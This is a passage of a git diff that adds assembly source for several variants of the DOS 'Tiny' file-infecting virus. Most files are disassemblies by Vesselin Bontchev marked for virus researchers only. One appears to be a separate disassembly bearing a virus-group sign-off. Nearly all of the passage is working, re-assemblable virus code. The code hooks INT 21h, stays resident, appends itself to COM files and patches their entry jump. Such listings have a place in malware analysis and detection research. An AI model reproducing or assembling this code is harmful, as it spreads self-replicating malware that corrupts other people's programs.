0050:0100h + cmpsb ; Check if the virus is present in memory + jz run ; Just run the program if so + +; Virus not in memory. Install it there: + + dec si ; Correct SI & DI to point at the start of + dec di ; virus code and to destination address + rep movsw ; Move the virus there + + mov es,cx ; ES := 0 + +; Move the INT 21h handler to INT 32h and +; install int_21 as new INT 21h handler. +; By the way, now DI == 1A4h (i.e., 69h*4): + + xchg ax,bx ; Thransfer INT 21h vector to INT 69h, + xchg ax,cx ; preserving AX +lp: + xchg ax,cx ; Get a word + xchg ax,es:[di-(69-21)*4] ; Swap the two words + stosw ; Save the word + jcxz lp ; Loop until done (two times) + + xchg ax,bx ; Restore AX (to keep progs as DISKCOPY happy) + +run: + push ds ; Restore ES + pop es + ret ; And exit (go to CS:100h) + +int_21: ; New INT 21h handler + cmp ax,4B00 ; EXEC function call? + jne end_21 ; Exit if not + + push ax ; Save registers used + push bx + push dx + push ds + push es + + mov ax,3D02 ; Open the file for both reading and writting + call do_int21 + jc end_exec ; Exit on error + + cbw ; Zero AH + cwd ; Zero DX + mov bx,si ; Save handle in BX + mov ds,ax ; Set DS and ES to 60h, + mov es,ax ; the virus data segment + + mov ah,3F ; Read the first 4 bytes + int 69 + +; Check whether the file is already infected or is an .EXE file. +; The former contains the character `M' in its 3rd byte and +; the latter contains it either in the 0th or in the 1st byte. + + mov al,'M' ; Look for `M' + repne scasb + jz close ; Exit if file not suitable for infection + + mov al,2 ; Seek to the end of file + call lseek ; SI now contains the file size + + mov cl,v_len ; Length of virus body + int 69 ; Append the virus to the file (AH is now 40h) + + mov al,0E9 ; Near JMP opcode + stosb ; Form the first instruction of the file + inc si ; Add 1 to file size for the JMP + xchg ax,si ; Move it in AX + stosw ; Form the JMP's opperand + mov al,'M' ; Add a `M' character to mark the file + stosb ; as infected + + xchg ax,dx ; Zero AX + call lseek ; Seek to the beginning + int 69 ; AH is 40h, write the JMP instruction + +close: + mov ah,3E ; Close the file + int 69 + +end_exec: + pop es ; Restore used registers + pop ds + pop dx + pop bx + pop ax + +; Exit through the original INT 21h handler: + +end_21: + jmp dword ptr cs:[69*4] + +lseek: + mov ah,42 ; Seek operation + cwd ; Zero DX +do_int21: + xor cx,cx ; External entry for Open + int 69 + mov cl,4 ; 4 bytes will be read/written + xchg ax,si ; Store AX in SI + mov ax,4060 ; Prepare AH for Write + xor di,di ; Zero DI + ret ; Done + +v_end equ $ ; End of virus body + +code ends + end start + \ No newline at end of file diff --git a/t/TINY-143.ASM b/t/TINY-143.ASM new file mode 100755 index 0000000..fb15155 --- /dev/null +++ b/t/TINY-143.ASM @@ -0,0 +1,174 @@ + page ,132 + name TINY143 + title The 'Tiny' virus, version TINY-143 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Tiny' Virus, version TINY-143 +; Disassembled by Vesselin Bontchev, August 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +seg_60 equ 600 +v_len equ v_end-first4 + +start: + jmp v_entry ; Jump to virus code + db 'M' ; Virus signature + mov ax,4C00 ; Program terminate + int 21 + +; The original first 4 bytes of the infected file: + +first4 db 0EBh, 2, 90, 90 + +v_entry: + mov si,0FF ; Initialize some registers + mov di,offset start ; Put the addres of program start in DI + mov bx,int_21-first4+seg_60 ; Point BX at new INT 13h handler + +; The virus will be installed in memory at +; address 0050:0100h (i.e., at segment 60h): + + mov cx,50 + + add si,[si+2] ; Determine the start addres of the virus body + + push di ; Now a Near RET instruction will run the prg. + + movsw ; Restore the original first 4 bytes + movsw + + mov es,cx ; Point ES:DI at 0050:0100h + cmpsb ; Check if the virus is present in memory + jz run ; Just run the program if so + +; Virus not in memory. Install it there: + + dec si ; Correct SI & DI to point at the start of + dec di ; virus code and to destination address + rep movsw ; Move the virus there + + mov es,cx ; ES := 0 + +; Move the INT 21h handler to INT 32h and +; install int_21 as new INT 21h handler. +; By the way, now DI == 1A4h (i.e., 69h*4): + + xchg ax,bx ; Thransfer INT 21h vector to INT 69h, + xchg ax,cx ; preserving AX +lp: + xchg ax,cx ; Get a word + xchg ax,es:[di-(69-21)*4] ; Swap the two words + stosw ; Save the word + jcxz lp ; Loop until done (two times) + + xchg ax,bx ; Restore AX (to keep progs as DISKCOPY happy) + +run: + push ds ; Restore ES + pop es + ret ; And exit (go to CS:100h) + +int_21: ; New INT 21h handler + cmp ax,4B00 ; EXEC function call? + jne end_21 ; Exit if not + + push ax ; Save registers used + push bx + push dx + push ds + push es + + mov ax,3D02 ; Open the file for both reading and writting + int 69 + jc end_exec ; Exit on error + xchg ax,bx ; Save the file handle in BX + + call lseek1 ; Lseek to file beginning (and set CL to 4) + + mov al,seg_60 shr 4 ; Read the first 4 bytes of the file + mov ds,ax ; Set buffer offset to 0060:0000h + mov es,ax ; Point ES there too + mov ah,3F + int 69 ; Do read + +; Check whether the file is already infected or is an .EXE file. +; The former contains the character `M' in its 3rd byte and +; the latter contains it either in the 0th or in the 1st byte. + + xor di,di + mov al,'M' ; Look for `M' + repne scasb + jz close ; Exit if file not suitable for infection + + mov al,2 ; Seek to the end of file (and put 4 in CL) + call lseek + + push ax ; Save file length + + mov cl,v_len ; Length of virus body + mov ah,40 ; Append the virus to the file + int 69 ; Do it + + call lseek1 ; Seek to the file beginning + + xchg ax,di ; Point DX at first4 + mov al,0E9 ; Near JMP opcode + stosb ; Form the first instruction of the file + pop ax ; Restore file length in AX + inc ax + stosw ; Form the JMP's opperand + mov al,'M' ; Add a `M' character to mark the file + stosb ; as infected + + mov ah,40 ; Overwrite the first 4 bytes of the file + int 69 ; Do it + +close: + mov ah,3E ; Close the file + int 69 + +end_exec: + pop es ; Restore used registers + pop ds + pop dx + pop bx + pop ax + +; Exit through the original INT 21h handler: + +end_21: + jmp dword ptr cs:[69*4] + +lseek1: + mov al,0 ; Lseek to the file beginning + +lseek: + mov ah,42 ; Lseek either to file beginning or to file end + xor cx,cx + xor dx,dx + int 69 ; Do it + + mov cl,4 ; Put 4 in CL + ret ; Done + +v_end equ $ ; End of virus body + +code ends + end start + \ No newline at end of file diff --git a/t/TINY-154.ASM b/t/TINY-154.ASM new file mode 100755 index 0000000..facdd6a --- /dev/null +++ b/t/TINY-154.ASM @@ -0,0 +1,182 @@ + page ,132 + name TINY154 + title The 'Tiny' virus, version TINY-154 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Tiny' Virus, version TINY-154 +; Disassembled by Vesselin Bontchev, September 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +seg_60 equ 600 +v_len equ v_end-first4 + +start: + jmp v_entry ; Jump to virus code + db 'M' ; Virus signature + mov ax,4C00 ; Program terminate + int 21 + +; The original first 4 bytes of the infected file: + +first4 db 0EBh, 2, 90, 90 + +v_entry: + mov si,0FF ; Determine the start addres of the virus body + add si,[si+2] + + mov di,offset start ; Put the addres of program start on the stack + push di ; Now a Near RET instruction will jump there + + push ax ; Save AX (to keep programs as DISKCOPY happy) + + movsw ; Restore the original first 4 bytes + movsw + + mov di,seg_60+4 ; Point ES:DI at 0000:0604h (i.e, segment 60h) + xor cx,cx ; ES := 0 + mov es,cx + mov cl,v_len-2 ; CX := virus length + lodsw ; Check if virus is present in memory + scasw + je run ; Just run the program if so + +; Virus not in memory. Install it there: + + dec di ; Adjust DI + dec di + stosw ; Store the first word of the virus body + rep movsb ; Store the rest of the virus + + mov di,32*4 ; Old INT 21h handler will be moved to INT 32h + mov ax,int_21-first4+seg_60 + +; Move the INT 21h handler to INT 32h and +; install int_21 as new INT 21h handler: + + xchg ax,cx +vect_cpy: + xchg ax,cx + xchg ax,word ptr es:[di-(32-21)*4] + stosw + jcxz vect_cpy ; Loop until done + +run: + pop ax ; Restore AX + push ds ; ES := DS + pop es + +; Jump to program start via funny RET instruction: + + ret + +int_21: ; New INT 21h handler + cmp ax,4B00 ; EXEC function call? + jne end_21 ; Exit if not + + push ax ; Save registers used + push bx + push cx + push dx + push di + push ds + push es + + push cs ; ES := CS + pop es + + mov ax,3D02 ; Open the file for both reading and writting + int 32 + jc end_exec ; Exit on error + xchg ax,bx ; Save the file handle in BX + + call lseek1 + + mov ah,3F ; Read the first 4 bytes of the file + mov di,dx ; Save first4 address in DI + push cs ; DS := CS + pop ds + int 32 ; Do it + +; Check whether the file is already infected or is an .EXE file. +; The former contains the character `M' in its 3rd byte and +; the latter contains it either in the 0th or in the 1st byte. + + push di ; Save DI + mov al,'M' ; Look for `M' + repne scasb + pop di ; Restore DI + je close ; Exit if file not suitable for infection + + mov al,2 ; Seek to the end of file + call lseek + + push ax ; Save file length + + mov cl,v_len ; Length of virus body + mov ah,40 ; Append virus to file + int 32 ; Do it + + call lseek1 ; Seek to the file beginning + + mov al,0E9 ; Near JMP opcode + stosb ; Form the first instruction of the file + pop ax ; Restore file length in AX + inc ax + stosw ; Form the JMP's opperand + mov al,'M' ; Add a `M' character to mark the file + stosb ; as infected + + mov ah,40 + int 32 ; Do it + +close: + mov ah,3E ; Close the file + int 32 + +end_exec: + pop es ; Restore used registers + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + +; Exit through the original INT 21h handler: + +end_21: + jmp dword ptr cs:[32*4] + +lseek1: + mov al,0 ; Lseek to file beginning +lseek: + mov ah,42 ; Lseek either to file beginning or to file end + xor cx,cx + xor dx,dx + int 32 ; Do it + + mov dh,6 ; Put 6 in DH and 4 in CL + mov cl,4 + ret ; Done + +v_end equ $ ; End of virus body + +code ends + end start + \ No newline at end of file diff --git a/t/TINY-156.ASM b/t/TINY-156.ASM new file mode 100755 index 0000000..89bcc47 --- /dev/null +++ b/t/TINY-156.ASM @@ -0,0 +1,182 @@ + page ,132 + name TINY156 + title The 'Tiny' virus, version TINY-156 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Tiny' Virus, version TINY-156 +; Disassembled by Vesselin Bontchev, September 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +seg_60 equ 600 +v_len equ v_end-first4 + +start: + jmp v_entry ; Jump to virus code + db 'M' ; Virus signature + mov ax,4C00 ; Program terminate + int 21 + +; The original first 4 bytes of the infected file: + +first4 db 0EBh, 2, 90, 90 + +v_entry: + mov si,0FF ; Determine the start addres of the virus body + add si,[si+2] + + mov di,offset start ; Put the addres of program start on the stack + push di ; Now a Near RET instruction will jump there + + push ax ; Save AX (to keep programs as DISKCOPY happy) + + movsw ; Restore the original first 4 bytes + movsw + + mov di,seg_60+4 ; Point ES:DI at 0000:0604h (i.e, segment 60h) + xor cx,cx ; ES := 0 + mov es,cx + mov cl,v_len-2 ; CX := virus length + lodsw ; Check if virus is present in memory + scasw + je run ; Just run the program if so + +; Virus not in memory. Install it there: + + dec di ; Adjust DI + dec di + stosw ; Store the first word of the virus body + rep movsb ; Store the rest of the virus + + mov di,32*4 ; Old INT 21h handler will be moved to INT 32h + mov ax,int_21-first4+seg_60 + +; Move the INT 21h handler to INT 32h and +; install int_21 as new INT 21h handler: + + xchg ax,cx +vect_cpy: + xchg ax,cx + xchg ax,word ptr es:[di-(32-21)*4] + stosw + jcxz vect_cpy ; Loop until done + +run: + pop ax ; Restore AX + push ds ; ES := DS + pop es + +; Jump to program start via funny RET instruction: + + ret + +int_21: ; New INT 21h handler + cmp ax,4B00 ; EXEC function call? + jne end_21 ; Exit if not + + push ax ; Save registers used + push bx + push cx + push dx + push di + push ds + push es + + push cs ; ES := CS + pop es + + mov ax,3D02 ; Open the file for both reading and writting + int 32 + jc end_exec ; Exit on error + xchg ax,bx ; Save the file handle in BX + + mov al,0 + call lseek + + mov ah,3F ; Read the first 4 bytes of the file + mov di,dx ; Save first4 address in DI + push cs ; DS := CS + pop ds + int 32 ; Do it + +; Check whether the file is already infected or is an .EXE file. +; The former contains the character `M' in its 3rd byte and +; the latter contains it either in the 0th or in the 1st byte. + + push di ; Save DI + mov al,'M' ; Look for `M' + repne scasb + pop di ; Restore DI + je close ; Exit if file not suitable for infection + + mov al,2 ; Seek to the end of file + call lseek + + push ax ; Save file length + + mov cl,v_len ; Length of virus body + mov ah,40 ; Append virus to file + int 32 ; Do it + + mov al,0 ; Seek to the file beginning + call lseek + + mov al,0E9 ; Near JMP opcode + stosb ; Form the first instruction of the file + pop ax ; Restore file length in AX + inc ax + stosw ; Form the JMP's opperand + mov al,'M' ; Add a `M' character to mark the file + stosb ; as infected + + mov ah,40 + int 32 ; Do it + +close: + mov ah,3E ; Close the file + int 32 + +end_exec: + pop es ; Restore used registers + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + +; Exit through the original INT 21h handler: + +end_21: + jmp dword ptr cs:[32*4] + +lseek: + mov ah,42 ; Lseek either to file beginning or to file end + xor cx,cx + xor dx,dx + int 32 ; Do it + + mov dh,6 ; Put 6 in DH and 4 in CL + mov cl,4 + ret ; Done + +v_end equ $ ; End of virus body + +code ends + end start + \ No newline at end of file diff --git a/t/TINY-158.ASM b/t/TINY-158.ASM new file mode 100755 index 0000000..5cb83f9 --- /dev/null +++ b/t/TINY-158.ASM @@ -0,0 +1,178 @@ + page ,132 + name TINY158 + title The 'Tiny' virus, version TINY-158 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Tiny' Virus, version TINY-158 +; Disassembled by Vesselin Bontchev, July 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +seg_60 equ 600 +v_len equ v_end-first4 + +start: + jmp v_entry ; Jump to virus code + db 'M' ; Virus signature + mov ax,4C00 ; Program terminate + int 21 + +; The original first 4 bytes of the infected file: + +first4 db 0EBh, 2, 90, 90 + +v_entry: + mov si,0FF ; Determine the start addres of the virus body + add si,[si+2] + + mov di,offset start ; Put the addres of program start on the stack + push di ; Now a Near RET instruction will jump there + + push ax ; Save AX (to keep programs as DISKCOPY happy) + + movsw ; Restore the original first 4 bytes + movsw + + mov di,seg_60+4 ; Point ES:DI at 0000:0604h (i.e, segment 60h) + xor cx,cx ; ES := 0 + mov es,cx + mov cl,v_len-2 ; CX := virus length + lodsw ; Check if virus is present in memory + scasw + je run ; Just run the program if so + +; Virus not in memory. Install it there: + + dec di ; Adjust DI + dec di + stosw ; Store the first word of the virus body + rep movsb ; Store the rest of the virus + + mov di,32*4 ; Old INT 21h handler will be moved to INT 32h + mov ax,int_21-first4+seg_60 + +; Move the INT 21h handler to INT 32h and +; install int_21 as new INT 21h handler: + + xchg ax,cx +vect_cpy: + xchg ax,cx + xchg ax,word ptr es:[di-(32-21)*4] + stosw + jcxz vect_cpy ; Loop until done + +run: + pop ax ; Restore AX + push ds ; ES := DS + pop es + +; Jump to program start via funny RET instruction: + + ret + +int_21: ; New INT 21h handler + cmp ax,4B00 ; EXEC function call? + jne end_21 ; Exit if not + + push ax ; Save registers used + push bx + push cx + push dx + push di + push ds + push es + + push cs ; ES := CS + pop es + + mov ax,3D02 ; Open the file for both reading and writting + int 32 + jc end_exec ; Exit on error + xchg bx,ax ; Save the file handle in BX + + mov ah,3F ; Read the first 4 bytes of the file + mov cx,4 ; 4 bytes to read + mov dx,seg_60 ; Put them in first4 + mov di,dx ; Save first4 address in DI + push cs ; DS := CS + pop ds + int 32 ; Do it + +; Check whether the file is already infected or is an .EXE file. +; The former contains the character `M' in its 3rd byte and +; the latter contains it either in the 0th or in the 1st byte. + + push di ; Save DI + mov al,'M' ; Look for `M' + repne scasb + pop di ; Restore DI + je close ; Exit if file not suitable for infection + + mov ax,4202 ; Seek to the end of file + xor cx,cx + xor dx,dx + int 32 ; Do it + + push ax ; Save file length + + mov dh,6 ; DX = 600h, i.e. point it at 0000:0600h + mov cl,v_len ; Length of virus body + mov ah,40 ; Append virus to file + int 32 ; Do it + + mov ax,4200 ; Seek to the file beginning + xor cx,cx + xor dx,dx + int 32 ; Do it + + mov dx,di ; Point DX at first4 + mov al,0E9 ; Near JMP opcode + stosb ; Form the first instruction of the file + pop ax ; Restore file length in AX + inc ax + stosw ; Form the JMP's opperand + mov al,'M' ; Add a `M' character to mark the file + stosb ; as infected + + mov cl,4 ; Overwrite the first 4 bytes of the file + mov ah,40 + int 32 ; Do it + +close: + mov ah,3E ; Close the file + int 32 + +end_exec: + pop es ; Restore used registers + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + +; Exit through the original INT 21h handler: + +end_21: + jmp dword ptr cs:[32*4] + +v_end equ $ ; End of virus body + +code ends + end start + \ No newline at end of file diff --git a/t/TINY-159.ASM b/t/TINY-159.ASM new file mode 100755 index 0000000..c355038 --- /dev/null +++ b/t/TINY-159.ASM @@ -0,0 +1,178 @@ + page ,132 + name TINY159 + title The 'Tiny' virus, version TINY-159 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Tiny' Virus, version TINY-159 +; Disassembled by Vesselin Bontchev, July 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +seg_60 equ 600 +v_len equ v_end-first4 + +start: + jmp v_entry ; Jump to virus code + db 'M' ; Virus signature + mov ax,4C00 ; Program terminate + int 21 + +; The original first 4 bytes of the infected file: + +first4 db 0EBh, 2, 90, 90 + +v_entry: + mov si,0FF ; Determine the start addres of the virus body + add si,[si+2] + + mov di,offset start ; Put the addres of program start on the stack + push di ; Now a Near RET instruction will jump there + + push ax ; Save AX (to keep programs as DISKCOPY happy) + + movsw ; Restore the original first 4 bytes + movsw + + mov di,seg_60+4 ; Point ES:DI at 0000:0604h (i.e, segment 60h) + xor cx,cx ; ES := 0 + mov es,cx + mov cl,v_len-2 ; CX := virus length + lodsw ; Check if virus is present in memory + scasw + je run ; Just run the program if so + +; Virus not in memory. Install it there: + + dec di ; Adjust DI + dec di + stosw ; Store the first word of the virus body + rep movsb ; Store the rest of the virus + + mov di,32*4 ; Old INT 21h handler will be moved to INT 32h + mov ax,int_21-first4+seg_60 ; Offset + +; Move the INT 21h handler to INT 32h and +; install int_21 as new INT 21h handler: + +vect_cpy: + xchg ax,word ptr es:[di-(32-21)*4] + stosw + xchg ax,cx + test ax,ax + jz vect_cpy ; Loop until done + +run: + pop ax ; Restore AX + push ds ; ES := DS + pop es + +; Jump to program start via funny RET instruction: + + ret + +int_21: ; New INT 21h handler + cmp ax,4B00 ; EXEC function call? + jne end_21 ; Exit if not + + push ax ; Save registers used + push bx + push cx + push dx + push di + push ds + push es + + push cs ; ES := CS + pop es + + mov ax,3D02 ; Open the file for both reading and writting + int 32 + jc end_exec ; Exit on error + xchg bx,ax ; Save the file handle in BX + + mov ah,3F ; Read the first 4 bytes of the file + mov cx,4 ; 4 bytes to read + mov dx,seg_60 ; Put them in first4 + mov di,dx ; Save first4 address in DI + push cs ; DS := CS + pop ds + int 32 ; Do it + +; Check whether the file is already infected or is an .EXE file. +; The former contains the character `M' in its 3rd byte and +; the latter contains it either in the 0th or in the 1st byte. + + push di ; Save DI + mov al,'M' ; Look for `M' + repne scasb + pop di ; Restore DI + je close ; Exit if file not suitable for infection + + mov ax,4202 ; Seek to the end of file + xor cx,cx + xor dx,dx + int 32 ; Do it + + push ax ; Save file length + + mov dh,6 ; DX = 600h, i.e. point it at 0000:0600h + mov cl,v_len ; Length of virus body + mov ah,40 ; Append virus to file + int 32 ; Do it + + mov ax,4200 ; Seek to the file beginning + xor cx,cx + xor dx,dx + int 32 ; Do it + + mov dx,di ; Point DX at first4 + mov al,0E9 ; Near JMP opcode + stosb ; Form the first instruction of the file + pop ax ; Restore file length in AX + inc ax + stosw ; Form the JMP's opperand + mov al,'M' ; Add a `M' character to mark the file + stosb ; as infected + + mov cl,4 ; Overwrite the first 4 bytes of the file + mov ah,40 + int 32 ; Do it + +close: + mov ah,3E ; Close the file + int 32 + +end_exec: + pop es ; Restore used registers + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + +; Exit through the original INT 21h handler: + +end_21: + jmp dword ptr cs:[32*4] + +v_end equ $ ; End of virus body + +code ends + end start + \ No newline at end of file diff --git a/t/TINY-160.ASM b/t/TINY-160.ASM new file mode 100755 index 0000000..fff9880 --- /dev/null +++ b/t/TINY-160.ASM @@ -0,0 +1,178 @@ + page ,132 + name TINY160 + title The 'Tiny' virus, version TINY-160 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Tiny' Virus, version TINY-160 +; Disassembled by Vesselin Bontchev, July 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +seg_60 equ 600 +v_len equ v_end-first4 + +start: + jmp v_entry ; Jump to virus code + db 'M' ; Virus signature + mov ax,4C00 ; Program terminate + int 21 + +; The original first 4 bytes of the infected file: + +first4 db 0EBh, 2, 90, 90 + +v_entry: + mov si,0FF ; Determine the start addres of the virus body + add si,[si+2] + + mov di,offset start ; Put the addres of program start on the stack + push di ; Now a Near RET instruction will jump there + + push ax ; Save AX (to keep programs as DISKCOPY happy) + + movsw ; Restore the original first 4 bytes + movsw + + mov di,seg_60+4 ; Point ES:DI at 0000:0604h (i.e, segment 60h) + xor cx,cx ; ES := 0 + mov es,cx + mov cl,v_len-2 ; CX := virus length + lodsw ; Check if virus is present in memory + scasw + je run ; Just run the program if so + +; Virus not in memory. Install it there: + + dec di ; Adjust DI + dec di + stosw ; Store the first word of the virus body + rep movsb ; Store the rest of the virus + + mov di,32*4 ; Old INT 21h handler will be moved to INT 32h + mov cl,2 ; The vector is 2 words long + mov ax,int_21-first4+seg_60 ; Offset + +; Move the INT 21h handler to INT 32h and +; install int_21 as new INT 21h handler: + +vect_cpy: + xchg ax,word ptr es:[di-(32-21)*4] + stosw + mov ax,es ; Segment + loop vect_cpy ; Loop until done + +run: + pop ax ; Restore AX + push ds ; ES := DS + pop es + +; Jump to program start via funny RET instruction: + + ret + +int_21: ; New INT 21h handler + cmp ax,4B00 ; EXEC function call? + jne end_21 ; Exit if not + + push ax ; Save registers used + push bx + push cx + push dx + push di + push ds + push es + + push cs ; ES := CS + pop es + + mov ax,3D02 ; Open the file for both reading and writting + int 32 + jc end_exec ; Exit on error + xchg bx,ax ; Save the file handle in BX + + mov ah,3F ; Read the first 4 bytes of the file + mov cx,4 ; 4 bytes to read + mov dx,seg_60 ; Put them in first4 + mov di,dx ; Save first4 address in DI + push cs ; DS := CS + pop ds + int 32 ; Do it + +; Check whether the file is already infected or is an .EXE file. +; The former contains the character `M' in its 3rd byte and +; the latter contains it either in the 0th or in the 1st byte. + + push di ; Save DI + mov al,'M' ; Look for `M' + repne scasb + pop di ; Restore DI + je close ; Exit if file not suitable for infection + + mov ax,4202 ; Seek to the end of file + xor cx,cx + xor dx,dx + int 32 ; Do it + + push ax ; Save file length + + mov dh,6 ; DX = 600h, i.e. point it at 0000:0600h + mov cl,v_len ; Length of virus body + mov ah,40 ; Append virus to file + int 32 ; Do it + + mov ax,4200 ; Seek to the file beginning + xor cx,cx + xor dx,dx + int 32 ; Do it + + mov dx,di ; Point DX at first4 + mov al,0E9 ; Near JMP opcode + stosb ; Form the first instruction of the file + pop ax ; Restore file length in AX + inc ax + stosw ; Form the JMP's opperand + mov al,'M' ; Add a `M' character to mark the file + stosb ; as infected + + mov cl,4 ; Overwrite the first 4 bytes of the file + mov ah,40 + int 32 ; Do it + +close: + mov ah,3E ; Close the file + int 32 + +end_exec: + pop es ; Restore used registers + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + +; Exit through the original INT 21h handler: + +end_21: + jmp dword ptr cs:[32*4] + +v_end equ $ ; End of virus body + +code ends + end start + \ No newline at end of file diff --git a/t/TINY-163.ASM b/t/TINY-163.ASM new file mode 100755 index 0000000..9bc8b02 --- /dev/null +++ b/t/TINY-163.ASM @@ -0,0 +1,126 @@ + +PAGE 59,132 + +; +; +; S +; +; Created: 4-Aug-90 +; Version: +; Passes: 9 Analysis Options on: H +; +; +; + +data_2e equ 1ABh ; (946E:01AB=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +s proc far + +start: + jmp loc_1 ; (0108) + db 0CDh, 20h, 7, 8, 9 +loc_1: + call sub_1 ; (010B) + +s endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop si + sub si,10Bh + mov bp,data_1[si] ; (946E:01A0=0) + add bp,103h + lea dx,[si+1A2h] ; Load effective addr + xor cx,cx ; Zero register + mov ah,4Eh ; 'N' +loc_2: + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_6 ; Jump if carry Set + mov dx,9Eh + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + mov ah,3Fh ; '?' + lea dx,[si+1A8h] ; Load effective addr + mov di,dx + mov cx,3 + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + cmp byte ptr [di],0E9h + je loc_4 ; Jump if equal +loc_3: + mov ah,4Fh ; 'O' + jmp short loc_2 ; (0120) +loc_4: + mov dx,[di+1] + mov data_1[si],dx ; (946E:01A0=0) + xor cx,cx ; Zero register + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,di + mov cx,2 + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + cmp word ptr [di],807h + je loc_3 ; Jump if equal + xor dx,dx ; Zero register + xor cx,cx ; Zero register + mov ax,4202h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + cmp dx,0 + jne loc_3 ; Jump if not equal + cmp ah,0FEh + jae loc_3 ; Jump if above or = + mov ds:data_2e[si],ax ; (946E:01AB=0) + mov ah,40h ; '@' + lea dx,[si+105h] ; Load effective addr + mov cx,0A3h + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + jc loc_5 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + mov dx,1 + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov ah,40h ; '@' + lea dx,[si+1ABh] ; Load effective addr + mov cx,2 + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +loc_5: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_6: + jmp bp ;*Register jump +data_1 dw 0 ; Data table (indexed access) + db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 0 +sub_1 endp + + +seg_a ends + + + + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/t/TINY-167.ASM b/t/TINY-167.ASM new file mode 100755 index 0000000..3b39214 --- /dev/null +++ b/t/TINY-167.ASM @@ -0,0 +1,177 @@ + page ,132 + name TINY167 + title The 'Tiny' virus, version TINY-167 + .radix 16 + +; ͻ +; Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 +; Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 +; +; The 'Tiny' Virus, version TINY-167 +; Disassembled by Vesselin Bontchev, July 1990 +; +; Copyright (c) Vesselin Bontchev 1989, 1990 +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +; The disassembly has been tested by re-assembly using MASM 5.0. + +code segment + assume cs:code, ds:code + + org 100 + +seg_60 equ 600 +v_len equ v_end-first4 + +start: + call v_entry ; Jump to virus code + db 'M' ; Virus signature + mov ax,4C00 ; Program terminate + int 21 + +; The original first 4 bytes of the infected file: + +first4 db 0EBh, 2, 90, 90 + +v_entry: + pop si ; Determine the start addres of the virus body + add si,[si-2] + +; Save the original first 4 bytes of the infected file on the stack: + + push word ptr ds:[si-4] + push word ptr ds:[si-2] + + push ax ; Save AX (to keep programs as DISKCOPY happy) + + mov di,seg_60+4 ; Point ES:DI at 0000:0604h (i.e, segment 60h) + xor cx,cx ; ES := 0 + mov es,cx + mov cl,v_len-2 ; CX := virus length + lodsw ; Check if virus is present in memory + scasw + je run ; Just run the program if so + +; Virus not in memory. Install it there: + + dec di ; Adjust DI + 